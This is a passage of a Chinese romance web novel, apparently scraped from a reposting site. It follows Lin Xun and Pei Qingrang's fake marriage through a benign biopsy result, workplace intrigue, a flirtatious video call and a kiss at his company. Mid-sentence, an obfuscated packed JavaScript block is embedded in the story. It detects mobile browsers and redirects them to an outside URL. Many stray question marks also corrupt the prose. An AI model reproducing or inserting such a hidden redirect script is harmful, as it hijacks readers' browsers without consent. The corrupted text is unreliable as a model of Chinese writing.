林姰嘲笑自己这是怎么了,生病而已,怎么会连大脑构造一起改变。 当她走出楼门,目光霎时一凝。 裴清让的黑色越野车标很扎眼,已经停在楼下。 林姰不可置信,隔着车窗看见清隽侧脸,这才伸手拉开副驾驶的车门。 “我自己去就可以。”明明下楼之前还在期待他的出现。 裴清让漫不经心扔下一句:“现场确认结婚对象的健康状况。” 语气里有他惯有有的懒散和混不吝,对什么都不太上心的样子。 林姰轻叹口气:“我都不知道怎么还你的人情了。” 裴清让浑不在意:“你和你的朋友也会算得这么清楚吗?” 林姰坦白:“跟祝余不会,跟其他朋友会。” 比如今天她喝了同事带的奶茶,明天就会还价值略高的甜点。 比如同事曾经在工作上帮过忙,那么下次她一定会主动帮回去。 她一直信奉“切勿交浅而言深”,因为这场手术的关系,她已经把裴清让从不算熟悉的高中同学,划到可以说话的普通朋友,所以可以聊一点普通朋友之间聊的天。 “因为祝余是我一辈子的好朋友,其他朋友随时随地都会分开,不亏欠分开的时候就不会有愧疚,就可以干干净净、清清楚楚,相忘于江湖。” “所以找人假结婚,需要互相不喜欢?” 林姰“嗯”了声。 裴清让嘴角勾着,却没有什么笑意:“那现在欠我让你觉得很难忍受?因为分开的时候会有顾忌?” 林姰看着裴清让的眼睛,思考几秒之后认真点头。 本以为裴清让会像往常说一些让她避免自作多情的话。 没想到,他只是散漫回了句:“来日方长,你慢慢还。” 拿病理结果的路上,林姰的思绪不受控制,往最糟糕最糟糕的方向跑。 所以当医生说“是良性”的时候,她整个人愣住,所有血液往大脑冲。 裴清让垂着眼睛,无声松了口气。 只是没想到下一秒,自己猛地被人抱住了。 他垂眸,是她发顶柔软,身体紧挨着自己,手臂在自己的腰后侧收紧。 高中数学竞赛保送、硕博藤校、从事最高精尖的行业,从来没有过大脑当机的时刻,而此时,他怔在那里,手垂在身侧,不知所措,不见平时半分游刃有余。 林姰吸了吸鼻子,盈在眼眶的眼泪憋不回去,胸口还在剧烈起伏着,后怕和劫后余生的欣喜兜头而来将她淹没。 她足足用了半分钟的时间平复心绪,等平静下来,眼前是他的衬衣一尘不染,林姰这才意识到自己一激动做了什么。 他怀里的气息清冽,人僵硬得不行,是没有被回抱的、单方面的拥抱。 裴清让能不能把这一段从记忆里抹去? 就在她有些尴尬地想要松手的时候,他垂在身侧的手,落在她发顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174569|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻拍了拍。 林姰仰起脸,面前冷淡禁欲、好像从不会为任何人左右的人,看着她的眼睛,轻声说:“你没事真的太好了。” 林姰鼻子泛酸。 却见他眼底有笑,嘴角轻轻一扬:“我不用再去找新的结婚对象。” 林姰松手,手背胡乱抹了把眼睛,感动荡然无存。 之前,虽然裴清让颜正腿长巨有钱,穿西装那种性冷风比男模还要男模,但是对她来说,就只是“合作对象”,随时可以换,也可以换成任何人。 只是现在,她突然发现自己不想换了。 如果需要找一个人假结婚,那就他好了。 可能是因为那天推开门是他。 也可能是因为身后空无一人他却用嘴型说:我在外面等你。 也可能是手术之后睁开眼睛刚好看到他抱着电脑处理工作。 又可能是因为刚才,放轻语气的一句:你没事真的太好了。 从医院出来后,裴清让把林姰送到楼下。 “裴清让。” “明天下午有时间吗?” “上午要跟投行的人见面。” “那就后天?” 目光相对,裴清让意识到林姰是想要约他做什么。 “明天下午三点后我都有空,上午的见面也可以让李明启替我去。” 他的语气怎么这么认真,认真得好像假结婚领证才是最重要的事。 林姰笑笑:“就这么点小事,怎么能耽误你工作。” 她是个财迷,眼里只有钱,领个证耽误他千万起步的生意,就算那钱不是她的,她也觉得很心疼。 裴清让长而浓密的睫毛,安静低垂。 十年前高考结束的夏天,雨总是下个不停。 晏城机场人来人往,机场广播提醒飞往伦敦的旅客尽快登机。 她拉着行李箱,手背擦过眼睛,毅然决然。 他叫她的名字,她没有回头。 这一刻,时间静止,命运恩赐。 记忆深处只有背影的人,近在咫尺,眉眼弯弯。 阳光大片落下,即将来临的夏天、绚烂的光影里。 林姰笑着说:“那就明天下午三点,民政局见。” 45-58 第45章 第 45 章 这是勾引 ——晚安, 我的小狗。 那个瞬间,林姰心跳怦然。 他的声音本来?就好听,轻而缓的字音划过耳际, 有种?格外认真的意味,而视频的最后画面, 是他弯着好看的眉眼, 唇红齿白的模样太蛊惑人?心。 话明明是对小狗说的, 那他看着她干嘛?那他说的到底是小狗, 还是她啊…… 本以为打个视频就能缓解看不到这?人?的情绪, 却没想到, 亲不到抱不到的感觉更加难熬, 尤其是在体验过跟他接吻之后。 这?个害她脑子?乱掉的混蛋,到底什么时候才能回来?…… 翌日清早,林姰团队开了个简短会议, 刘文文花枝招展,姗姗来?迟。 林姰本来?就是很冷漠的人?, 性格里并没有多少柔软的部分, 在刘文文娇滴滴喊“林姰姐”的时候, 点?了个头就算回应, 那张漂亮到有攻击性的脸, 不言不语时,非常不好惹。 刘文文对林姰的性格早有耳闻,也不再热脸贴冷屁股, 直接凑到看起来?最好欺负的粥粥身边:“我们?团队最近的重点?工作是什么呀?” 粥粥一本正经:“我们?现在准备做一个车上的3D语音助手。” “听起来?就很有意思,”刘文文亲热地挎住粥粥的胳膊,“亲爱的,有效果图和相关资料吗?我初来?乍到, 想好好学习一下。” 粥粥被?她身上的香水味道熏得头疼,但仍面不改色道:“好啊,我整理后打包发给?你。” 刘文文:“谢谢亲爱的,你最好了!” 粥粥觉得自己快要工伤。 午饭时间,粥粥激动地攥住林姰手臂:“姐姐,刘文文果然问我要资料了!还一个劲儿问东问西套我的话!然后我就把?你给?我的压缩包发给?她了,你是怎么发现她不是方茂森的人?,而是陈万豪的人?呢?” 陈文文是方茂森安排过来?的,大家理所当然以为她是方茂森的眼线,其实不然。 林姰:“她的车停在陈万豪车位上,一个见了领导阿谀奉承的人?,怎么可?能随便?占用上司的车位。” 赵然瞪圆眼睛:“林姰,你不去当警察破案真是屈才了!” 她看得没错,林姰不是不聪明,是不想把?脑细胞放在尔虞我诈勾心斗角上面,她的目标向来?单一明确,那就是赚工资,除此之外任何事?都不足以让她浪费情绪。 现在是被?方茂森和陈万豪逼急了。 林姰淡声:“如果过几天陈万豪那边剽窃我们?的创意,也开始做3D语音助手,那这?事?儿就八九不离十。” 她可?太知道怎么干掉自己的同行了。 临近下班时,方茂森领着一个男生从办公室出来?,那男生相当年轻,看脸不过二十出头,但方茂森的态度却可?以用“讨好“形容。 “小何,这?边就是我们?的产品部。” 林姰头都懒得抬,除非现在苍梧科技那位裴姓帅哥出现在她面前,否则没有人?能打断她写需求文档。 “姐姐?” 林姰没以为是叫自己,敲键盘的手指没停,直到头顶落下阴影,她有些烦躁地抬头,正对上男生带着笑?意的目光。 “真的是你,我们?又见面了。” 之前在洱海边跟她问路的男生,凭空出现在乐游产品部,林姰脸上没什么表情,随口应了句:“我还以为你是学摄影的。” 何川垂眸:“我以为姐姐是当模特的。” 因为漂亮得太夺目。 平心而论,她和乖巧、甜美、软萌毫不沾边,美得没有争议也锋芒毕露,且没有半分“讨好感”。 长发绑成马尾,穿布料硬挺的蓝色衬衫和灰色西装裤,清清冷冷一张脸,却让人?很想看她笑?。 林姰没接这?句话,即使男生目光真挚,并没有什么中年男人?的黏腻感。 方茂森的目光在两人?之间来?回打量:“你和林姰认识啊。” 何川点?头。 与此同时,是林姰语气淡漠:“算不上。” “小何,你来?实习的话,去万豪的团队怎么样?” 方茂森的态度不像是招了个实习生,而像是请来?个祖宗。 何川瞥了眼林姰的工作证,主动提出:“我能来?林姰姐的团队吗?” 方茂森目光变得幽深,却还是乐呵呵应下。 他皮笑?肉不笑?地跟林姰交代何川的基本情况,又跟何川交代公司基本的规章制度,最后压低声音问了句:“何董最近还好吗?” 原来?是关系户啊,林姰冷漠地想,难怪方茂森态度如此殷勤,就差跪下给?人?擦鞋。 文档敲完,她合上电脑准备下班。 何川紧跟在她身后,热情得像是没被社会毒打过:“姐姐,需要我做什么?” 为什么被粥粥叫姐姐觉得她软软萌萌想要捏她脸,被?现实里的男生叫姐姐会觉得如此烦躁? 林姰耐着性子:“可以去问问粥粥,她那有没有什么需要你做的。” 男生有些失落的说了句“好”,又问:“我们?这?次是不是可?以加微信了?” 林姰点?开手机二维码给?他扫:“我下班时间不在线,上班时间看到会回。”一下子?给?人?把?所有路都堵死。 “姐姐,你的头像好可?爱。” “是我的小狗。” 这?个瞬间,她又无可?救药想起昨天裴清让说的那句“晚安,我的小狗” 。 这?家伙是不是在出国?之前,给?她下什么蛊了?怎么她总会在跟他无关的时刻,想到他。 “我也养狗,下次可?以让它们?交个朋友。” “不用了,”下班之后,林姰不想在办公区域多待一秒,“我家小狗高?冷还爱吃醋,只喜欢我。” 说完,拎包走人?- 结婚之后,裴清让隔三差五出差,这?不是第一次,却是第一次她觉得他不在家如此难熬。 林姰觉得自己没出息透了,她洗完澡换下衣服把?自己摔进沙发里,想玩会手机转移注意力,脑袋却忍不住换算现在是裴清让那边的几点?。 那个坏家伙现在应该还没起床。觉得他坏,是因为这?个人?不经自己同意,私自霸占自己所有注意力。 门铃声响起。 林姰的脑袋里有根神经被?一瞬拉直,虽然知道不可?能,但还是忍不住想,会不会是裴清让提前回来?。 因为他经常这?样,报备出差一周,最后三天就回。好像也不是不可?能。 林姰从沙发起身去开门,门口是送餐的女 生,穿着和昨天男生一样的工作服,胸前别着工牌。 她可?真是昏了头了,裴清让回家怎么会按门铃,当然不可?能是他,她在期待些什么。 女孩声音清甜:“请问……” 饶是职业素质过硬,她还是顿了顿,才把?话说完整:“是‘宝贝’女士吗?” 林姰怔了怔:“谁?” 女孩给?她看订餐信息,订餐人?姓名那里,清清楚楚的黑色印刷体:宝贝。 昨天她问为什么是“裴太太”,裴清让说是防止信息泄露,她挑衅一样说:那你怎么不写宝贝。 没想到今天就真的是“宝贝”了。 林姰齿尖咬住下嘴唇,嘴角忍不住上扬。 送餐的小姑娘这?一刻才发现,刚才还冷脸的大美人?,突然就笑?得眉眼弯弯,眼睛里的神采,能让一切失色。 她靠过来?签字签收的时候,长发从耳侧落下,有种?黑色绸缎的质感,身上浅淡的香气拂过鼻尖,她被?美得屏住呼吸,心想,谁能不宝贝她啊,换她她也宝贝。 林姰抿了抿嘴角,却没抿住弯起的弧度,签完字后笑?问:“怎么不是昨天的小帅哥了?” 女孩子?笑?道:“我们?餐厅可?以选择配送员性别,这?次客人?备注女生送餐。” 这?个幼稚鬼,她不过是随口提了一句送餐的男生长得好看而已?。林姰拎着餐食金屋,眉眼间不再有刚下班时的颓丧。 她开盲盒一样开了今天的晚饭,想要拍照发给?裴清让,又想到这?会是他那边的凌晨,万一把?他吵醒就不好了。 时间如同以零点?几的倍速走着,慢得不可?思议,她吃饭、遛狗、收拾卫生,做好这?一切,才刚到裴清让起床跑步的时间。 晚上十点?,林姰在对话框里敲下三个字:【起床没?】 裴清让回了个“嗯”,惜字如金。 林姰直接一个视频邀请发过去,起码能听见声音、能看到人?。 “又是我家小狗想我了?” 视频接通的下一秒,男人?散漫含笑?的嗓音落在耳边,甚至因为刚起,还带一点?惺忪的性感慵懒。 她戴着耳机,那道清越声线好像和温热呼吸一起落在耳边,像有小钩子?般,耳朵尖发麻。 被?栽赃陷害的狗狗卧在身边,一脸无辜天真,林姰面不改色:“对啊,不然呢?” 裴清让人?在似乎卧室,此时拿着手机起身,身上是没有图案的短袖运动裤,他肩背很直,穿什么都清瘦挺拔,白衣黑裤极简又利落,配上蓬松没打理的黑发,帅得很有少年朝气。 “刚起?” “刚跑步回来?洗了个澡。” “这?是你在国?外的房子??” “嗯。” 林姰瞥见有个相框摆在床头,照片里似乎是他和一只白色小狗,画面一闪而过看不真切,却能猜到,那就是他当初捡的那只。 狗狗一生短暂,却遇到温柔又长情的主人?,离开这?么多年它的照片还摆在他的床头,应该是非常非常喜欢在意了。 “在看什么?” 裴清让拿着手机往外走,随手带上卧室的门,手机镜头在下。 那张面部折叠度超高?的脸,就这?么硬生生抗住了死亡视角,从林姰这?边,男人?颈部和喉结的弧度一览无余。 “床头照片里,是你以前养的小狗吗?” 裴清让淡声应了:“小狗的墓碑在这?,所以房子?就一直没有卖掉。” 他怎么可?以这?么温柔,温柔得跟她快要成为两个极端。 林姰:“你现在要做什么?” 裴清让从冰箱里拿出新鲜蔬菜:“早饭。” 林姰随口道:“今天送餐的是个女孩,问我是不是‘宝贝’女士。” 现在说起,还是有点?不好意思,她皱了皱鼻子?,眉眼生动:“都怪你。” 裴清让眼尾轻轻一弯,笑?着睨她一眼,勾着的嘴角柔软极了:“嗯,都怪我。” 咬得很轻的字音里,透出难以言说的纵容,如果他在她面前,她可?能已?经揪住他的领口吻上去。 她状似不经意地问了句:“哪天回来??” 手机被?裴清让固定在中岛台,男人?垂了垂眼:“怎么,这?也是小狗让你问的吗?” 林姰面不改色:“不信你看。” 狗狗很给?面子?,“汪”了一声作为回应。 林姰揉了揉它的脑袋,眼睛里写着:谢谢配合。 “那帮我和狗狗说,”裴清让看向镜头,“事?情有些多,在家乖乖等我。” 林姰便?煞有介事?地跟狗狗说:“爸爸说还要好几天呢,你乖一点?。” 而后回头看向裴清让,一本正经绷着脸:“转达完毕。” 裴清让忍着笑?意,垂眸看过来?的那一眼,似乎有种?“我能拿你怎么办”的无可?奈何。 手机在旁边放着,他开始准备早饭,男人?个子?高?、肩膀平直宽阔,可?是从侧面看又很薄,镜头正对着他白色短袖的腰腹位置。 他是不是又瘦了,怎么衣服显得如此松散。 林姰单手撑着下巴,忍不住想,读书时的裴清让是不是现在的样子?? 柔软蓬松的黑发,因为身材非常“衣架子?”所以穿什么都很吸引眼球,还有一张冰冷美貌比现在青涩的脸,追他的女生肯定非常多。 她正胡思乱想着,看到什么,呼吸下意识屏住—— 裴清让伸手从高?处吊柜拿东西。手臂抬高?的动作,让衣服下摆随之向上,视频刚好拍到T恤边缘和运动裤之间位置,才发现这?件衣服如此空旷,而他腰身如此窄瘦。 没有一丝赘余的腰腹肌理分明,八块腹肌整齐排列一览无余,那位置不见阳光,皮肤白得不行,显得那清薄的肌肉干干净净很是冷气。 林姰又害羞又要看,看得自己脸颊微微发烫。 视频里半天没有声音,裴清让低头,刚好看到林姰用手背蹭过自己的脸颊,企图人?工降温一般。 他淡声:“你脸红什么?” 林姰控诉:“裴清让,我合理怀疑你是在勾引我。” 裴清让似乎是被?她气笑?:“我做什么勾引你了?林姰,讲点?道理。” 如果他在她面前,恐怕他的手指已?经敲上她的脑袋,又或者是捏上她的脸颊。 她其实是喜欢的,每每这?种?时刻,裴清让嘴上暗含警告,可?那双清澈的眼睛里只有温柔和纵容,是真的拿她没有任何办法?。 对上裴清让居高?临下的视线,林姰振振有词:“就是你刚才拿东西的时候,镜头刚好对准你的腹肌……” 她对裴清让根本没什么抵抗力,本来?就抱不到亲不到,他还让自己看到腹肌,不是勾引是什么。 “这?就算是勾引了?”裴清让看着她涨红的脸颊,“冤枉。” 他轻轻挑了挑眉,那模样无辜也坏,有种?说不出来?的勾人?。 林姰没脾气了,看人?家腹肌,还被?抓包,还要把?罪名安到人?家头上,他是挺冤枉的。 但她嘴上不饶人?:“不是勾引是什么?如果是别的女孩子?你也这?样给?人?看吗?” 裴清让洗干净手,擦干。 他微低头,眼睛看着她,骨节分明的手指落在自己的衣服下摆位置,冷白皮之下的青筋脉络清晰。 隔着屏幕,却又好像是近在眼前。 林姰清晰看到那禁欲修长的手指是如何撩起短袖下摆,又是如何缓缓往上带,随着他的动作,那线条利落的腰腹是如何一览无余曝光在视野内。 更要命的是,裴清让那双漆黑深邃的眼睛,没有一丝杂质,自始至终目光直白地看着她,散漫而又不羁,显出让人?无法?招架的侵略性。 冷静如林姰,也在一瞬间脸颊爆红。 耳机里,那道淡漠清冷的嗓音紧贴着耳廓划过:“这?样才算。”第46章 第 46 章 口红花掉 裴清让撩起T恤下摆的动?作足够漫不经心, 手臂清白修长?、隐隐凸起的青筋很有力量感,偏偏眼神透着置身事?外的冷淡,就这么无?声给她演示:勾引人的正确打?开方式。 林姰脑袋里有根弦在?这个瞬间一下子断掉了, 短短的十几秒时间,心头那只小鹿扑通扑通疯狂跳动?、已经快要把她的胸腔跳出?个窟窿。 她随手拿起沙发?上的抱枕, 挡住此时此刻爆红的脸, 露出?的耳朵尖已经快要滴血。 谁能受得了, 平日里西装革履、衬衫扣子扣到第一颗的高?岭 之花, 主动?撩起衣服下摆……她无?力抵抗, 眼睛忍不住看向屏幕, 被裴清让抓个正着:“又害羞, 又要看。” 裴清让音色倦懒,含着笑,透出?几分蛊惑人心的温柔。 林姰被勾得脸红心跳:“裴清让。” 大帅哥眼睛弯弯的、睫毛长?长?的, 当真能用脸杀人,散漫十足地应了句:“在?。” 林姰大半张脸都?埋在?抱枕里, 声音闷闷地放狠话:“等你回来饶不了你。” 裴清让神情懒散, 几分好奇、几分纵容:“说来听听, 怎么个饶不了法?。” 越看越觉得, 这人的眉眼鼻唇完全就是照着她的喜好长?的, 还是说,裴清让这张脸天生让人心动?、蛊惑人心毫不费力,谁看久了, 都?会觉得这个人男人就是自己的理想型。 林姰一字一顿放狠话:“我会把你亲肿。” 视频有几秒的延迟又或者是卡顿,以至于对面他笑起来的细节如此清晰——那好看的眼尾倏然一弯,眼缝里都?是清朗的光,瞳孔更是亮得不得了, 染了笑意的睫毛特别软。 就好像是听到小孩子的玩笑话,没?当真,但又觉得可?爱。 “那就,”裴清让轻扬眉,清冷音色近在?耳边,“恭敬不如从命了。” 心脏如同被小猫的爪子没?轻没?重地挠着。一下又一下,看得到亲不到的痒意顺着神经末梢蔓延。 林姰挂断电话,手背贴到脸颊。 那块连带耳侧的皮肤,如同被烘烤着,热得要命,甚至在?这个气温降到零下的夜晚,她想要开窗冷静冷静,让体温和心跳赶快冷却到正常范围。 可?她的嘴角自始至终是弯起来的。 心脏砰砰跳动?的感觉,如此鲜活,前所未有,却又让人上瘾。 沉迷美色的后果就是,林姰失眠了。 闭上眼睛,裴清让的眉眼五官深刻清绝——平直漆黑的长?眉,天生锋利的眼睛,笑起来眼尾有弯而上扬的弧度,他是不是还有卧蚕来着,所以垂着长?长?的睫毛看人的时候,会有点?显无?辜…… 翌日清早起床上班的时候,她困得要命,呵欠连天,只能靠咖啡提神。 因为?和东恒合作的汽车项目,用的是苍梧最新的「图南一号」芯片,三个公司开始往来密切,隔三差五就有线上会议,时不时同步项目信息。 早上一上班,林姰接到东恒陈有仪的电话,说下午去苍梧那边开个会,就最近合作开展的事?项进?行简要的同步。 出?发?前林姰去了下洗手间,镜子里那张脸在?光下有点?白得太过,看起来没?太有精气神,所以几乎不化妆的人,费劲吧啦从办公桌抽屉里找到一根临近过期的口红。 浆果色,很有恶女感,而后拎起黑色大衣,出?门开会。 苍梧刚刚搬到晏城的总部大楼,位于寸土寸金的市中CBD。 赵然看着那栋拔地而起气势恢宏的大厦,忍不住倒抽一口冷气:“这就是当年?挂我简历的苍梧啊,我的梦中情司。” 粥粥瞪圆眼睛:“这么难进?的吗?”赵然好歹也是C9出?身。 “跟我竞争的都?是清北复交和MIT的博,神仙打?架,我一个凡人瞎凑什么热闹呢,”虽然被拒,但赵然还是很向往,“听说苍梧去年?年?会奖项都?有几千万,都?不能用财大气粗来形容了。” 说完,她又戳戳林姰的手臂,那隐秘的表情,是要讲八卦的前兆。 “听说之前苍梧总部搬迁,明面上是说这里汽车产业链条更完备、政府还给几十个亿投资,其实是裴清让的白月光在?这儿,你说这么深情专一还帅的男人,去哪儿找啊……” 粥粥深以为?然:“他老婆吃得也太好了,天天对着这么一张帅脸……” 林姰脑海不受控制浮现某些画面——脸颊相?贴,气息纠缠,柔软湿润的嘴唇从自己唇角慢慢亲到唇中,才微启唇,含住…… 停。 打?住。 她忍不住捏了捏耳朵尖,那里正浮现一抹可?疑的红色,往衬衫衣领深处蔓延。 “姐姐,你们聊什么呢?” 何川走过来,林姰淡声:“没?什么,去会议室吧。” 电梯门打?开,苍梧对接的工作人员按下十六楼。 林姰忍不住想,这就是裴清让每天上班的地方。 她是不是会在电梯打开的那一刻,又或者走廊的某个拐角,撞见一身正装气势逼人的他。 如果他没?有出?差的话。 现实是,昨晚视频的时候,他还和她之间还隔着十几个小时的时差,她要睡觉,他刚起床。 会议室的整面墙都?是落地窗,宽敞明亮,窗外中央商务区尽收眼底。 下午茶早已准备好,规格之高?,不难想象预算的数字肯定也很美好。 林姰落座,不偏不倚摆在?她面前的,恰是她最喜欢的那家无?花果蛋糕。 她不免一怔,不经意间瞥见,每个人面前的蛋糕口味似乎都?有不同,看起来完全是随机。 但这随机未免太过凑巧。 十七楼,一道裹在?黑色正装的挺拔身形走出?电梯。 原定下周才回的人,竟然就这么出?现在?眼前,助理不震惊是假的,但是良好的职业素养让她没?有说废话的习惯:“裴总,已经买了您指定的那家蛋糕送到会议室。” 裴清让“嗯”了声,径直走向自己办公室,他个子高?、腿也长?,在?工作场合永远都?是黑色西装白色衬衣,冷淡严谨让人不敢造次,也因此让人完全忽略了他美貌的脸——那凛然肃杀的气场让人根本不敢觊觎,如果脸红心跳肯定是办事?不力、而不是因为?花痴。 李明启收到裴清让的信息就来了:“不是说下周?” “签下合同就回来了。” 裴清让语调清淡得像是出?门买了颗白菜,事?实是他的确是出?门买了点?什么。 作为?芯片行业头部玩家,苍梧风光无?两,但其实处境一直不是太好,除了芯片禁令,还有高?科虎视眈眈,从研发?部挖人起码还在?明面上,暗地里还有更加见不得人的肮脏手段。 除了群狼环伺,还有芯片的产业链非常长?,芯片从研发?到量产要走设计、代?工、封测三个环节,苍梧只是处于设计环节。 就好比,一件衣服设计师设计出?来,还要有裁缝去做、要有工厂量产才可?以,不容乐观的是,芯片行业最厉害的“缝纫机”掌握在?外国人手里。 裴清让这次出?国,为?的是订购芯片代?工核心设备——光刻机,一台就十几个亿了。 李明启大喜过望。 可?是当欣喜冷却,却是无?穷尽的担心——毕竟在?裴清让的导师被盯上时,裴清让也被盯上了,甚至有人说当初的目标是裴清让,只不过他的导师力保、让他毫发?无?损回到中国。 应该是他想多了吧? 就裴清让这八面不动?、天塌下来都?不会眨眨眼、淡定得要死的人,能出?什么事?呢? 李明启大大咧咧道:“晚上哥几个给你接风洗尘啊?” 裴清让瞥了眼时间:“不了。” 李明启:“怎么,近期最难办的事?已经办完了,你还有什么要紧事??” 裴清让已经勾着车钥匙起身:“去接人下班。” 李明启一直觉得,裴清让是他见过的最干净最纯粹的人,这种人很难结婚,就算结婚,也应该是人家女孩围着他转,这么一个毫无?争议的冰山帅哥,完全想象不出?他谈恋爱是什么样子。 但现在?看来,他的纯粹也在?感情上,李明启忍不住幽幽感叹了句:“你真的被狠狠拿捏了。” “她没?拿捏我,”裴清让俊脸清冷,可?说起那个人,声音总会不自觉放轻,“是我自己愿意的。”- 乐游、东恒、苍梧三方的会议进?行中。 林姰翻看资料的时候,会议室的门被推开。 她没?抬头,一般点?不到她名字的事?情,她都? 置若罔闻。 直到听见一句毕恭毕敬的“裴总”。 都?没?看到他人,就只是听见这个姓氏,全身血液已经先于意识一齐往脑袋上冲。 “我随便过来听听,你们继续。” 男人音色清冷透着倦懒,很好听,猝不及防落在?耳边。 林姰抬眸,苍梧的负责人和东恒的人都?请他到上位,他轻摇头,随手抽开一把椅子,就在?林姰正对面坐下了。 苍梧的项目负责人躬身把会议资料递到他面前,简要汇报会议进?程,他垂眸看手里的资料。 黑色西装估计是在?办公室,单穿了件白衬衫,打?着黑色领带,领口在?喉结下方折出?锋利的弧度,肩背被修饰得宽阔挺拔,清瘦腰身收束在?黑色西装裤。 像是刚从什么谈事?情的正式场合下来,连衣服都?没?换,就出?现在?会议室,这翩翩公子、高?高?在?上的模样,偏让她想到他被她吻到喉结滚动?的样子,也想到他腰腹位置腹肌的线条和人鱼线的沟壑。 视线悄无?声息交汇,又悄无?声息错开,林姰心跳不止,再去看手里的资料,每个字都?认识,偏偏大脑已经拒绝接受信息,只肯想他。 偏偏 跟她这边目眩神迷对比鲜明的是,裴清让一出?现所有人肉眼可?见地紧绷起来,而他有些懒散地靠在?椅子里,漫不经心、又肆意散漫。 这个混蛋。 何川压低声音,往林姰这边低头:“姐姐,这就是创始人裴清让吗?” 林姰乍然心惊,蓦地想起那天在?洱海边、裴清让来接自己时,何川也是在?的。 如果他现在?认出?裴清让就是那天来接自己的人,那他们两人的关系是不是要瞒不住? 倒不是见不得人,只是裴清让这个人太扎眼,她不想成为?话题中心,以及,这段假的婚姻关系不知道能持续多久,如果哪天离婚,但凡她还在?汽车行业混,恐怕这辈子都?要被打?上“裴清让前妻”的标签。 林姰面无?表情地试探:“你以前没?见过他?” 何川摇头,显然是没?认出?裴清让:“他也太年?轻了,不是说搞芯片的都?容易没?头发?吗?” 中场休会,休息十分钟。 陈有仪和几个高?管来到裴清让身边,男人脸上的表情很淡,话也少,大多数时候都?是听别人说,他还很年?轻,相?当英俊清冷的一张面孔,可?却能非常明显地从周围人的反应里,看出?他是地位凌驾众人之上的那个。 他随口说了句什么就起身准备离开会议室,没?人敢再打?扰。 除了林姰。 她扣上手里的笔盖起身,何川的声音在?身后响起:“姐姐你去哪儿?” 她随口答:“出?去透透气。” 实际上是心都?跟着那个混蛋飞走了,她得出?去找回来。 十六楼无?人办公,长?长?的走廊旁边是一排会议室,会议室旁边是会客厅,走廊绝对安静,上班时间无?人经过。 裴清让去哪儿了? 林姰对这里太过陌生,不好随便乱走,砰砰跳动?的心脏却无?法?平复,开关都?被裴清让那个混蛋捏在?手里。 这账回家一定要好好算,她转身准备回会议室。 “怎么,找我?” 林姰回头,猝不及防撞入一双漆黑深邃的眼睛,眸光沉沉。 她张了张嘴,突然不知道要说什么,裴清让随手开了身侧会客厅的门,另一只手握住她的手腕。 门被关上的前一刻,她隐隐听见何川的声音,是带着疑惑的一声“姐姐”,似乎是在?找她。 一墙之隔的会议室,三家达成合作意向的公司,正在?讨论一些非常严肃正经的东西。 而眼下他们这里,林姰后背是墙,身前是裴清让,他近一米九的身高?自带压迫感,影子似乎也有重量,遮住所有光亮,任谁看都?不清白。 白色衬衫黑色西装裤,把他的身材优势发?挥到极致,肩宽腰窄腿长?,更别提还有一张英俊漫不经心的脸,难怪说苍梧生男模——林姰突然觉得,三万其实她是负担得起的。 目光撞在?一起,空气悄无?声息升温,时间旖旎粘稠无?法?流动?,心跳和呼吸被放大无?数倍,变得清晰可?闻。 “什么时候回来的?” “那男的谁?” 两人同时开口。 “今天。” “我们公司新来的弟弟。” “他跟你有血缘关系?” “当然没?有。” 裴清让不咸不淡问了句:“那就是跟你同父异母?” 林姰目光无?辜,想不明白为?什么现在?他们不接吻、而在?这里说些不相?关的人:“也不是。” 裴清让的手指捏上她的脸:“同事?就同事?,叫什么弟弟。” 他捏完,但手指并没?有离开,而是,指腹轻轻摩挲了下。 林姰的脸颊开始发?烫,热意蔓延,她的眼神也软下来,显出?对眼前人独有的依赖性。 “毕竟老板是衣食父母,大家都?是吃老板画的饼长?大的,不是兄弟姐妹是什么?” 裴清让似是被她逗笑,嘴角轻轻扬起,忍俊不禁的弧度:“以后叫名字。” 林姰有点?想笑:“你吃醋?” “不吃。”裴清让利落否认。 林姰也觉得,哪有什么醋好吃。 “他每次看你我都?想把他眼睛挖出?来。” 那暗含警告的眼神,有种从没?见过的、沉沉占有欲。 林姰微微一怔,所以他目下无?尘坐在?她对面时,一直在?留意她这边吗? 心口有种难言的酥麻,慢慢蔓延到四肢百骸,休会只有十分钟,她不想浪费再浪费一秒。 两人身高?差距明显,她正对着这人严丝合缝扣在?喉结下方的黑色领带,指尖触碰,真丝质地,缠绕在?她的手指。 视线往上,裴清让天生冷峻的面孔和西装衬衫简直绝配,完全就是禁欲系高?岭之花的具象化,他睨着她,嘴角平直透着不近人情。 但亲起来明明是软的。 裴清让低头,睫毛投影,明知故问:“往哪儿看呢?” 林姰的视线,从他的嘴唇重新回到他的眼睛,同样明知故问:“你把我叫进?来是想做什么?” 裴清让眼神清明,仍是刚才在?会议室那副冷淡严谨的做派:“你想做什么,我就想做什么。” 心口似有细小电流窸窸窣窣划过,心尖止不住地发?颤。 林姰直白问道:“我想做什么都?行?” 裴清让低声:“嗯,无?条件配合。” 那暗含纵容、低而轻的嗓音,简直蛊惑人心。 林姰扯着他领带的手微微用力,无?声告诉他自己想要做什么。 裴清让的手指从她脸侧下滑,落到她的唇角,指腹轻轻触碰:“口红花掉,有办法?补吗?” 他的呼吸很近,热息落在?脸颊,避无?可?避的距离,能闻到他身上独有的清寒香气。 心脏被吊得七上八下,林姰难得脑袋不够用,只是下意识告诉他:“口红在?我外套口袋……” 下个瞬间,身体迎来猝不及防的失重—— 她直接被他抱起,放到门口柜子上,将近二十厘米的身高?差,这样视线刚好可?以平齐。 心跳无?可?救药加速,甚至隐隐有失控的趋势,跳得心口发?麻发?疼。 因为?预知接下来要发?生的事?情。 裴清让单手扯松领带,抬高?她的脸,修长?手指扣住她的后脑勺,另一只手撑在?她身侧的柜子里,人靠过来。 近乎密不透风的空间里,他低头含住她的唇,带着决不允许人后退的强势,字音消弭在?相?贴的唇缝之间—— “那我就不客气了。”第47章 第 47 章 送老婆的 嘴唇被重重压住, 连带他靠近的高大身躯都像密不透风的墙。 唇与唇厮磨,脸颊与脸颊相贴。 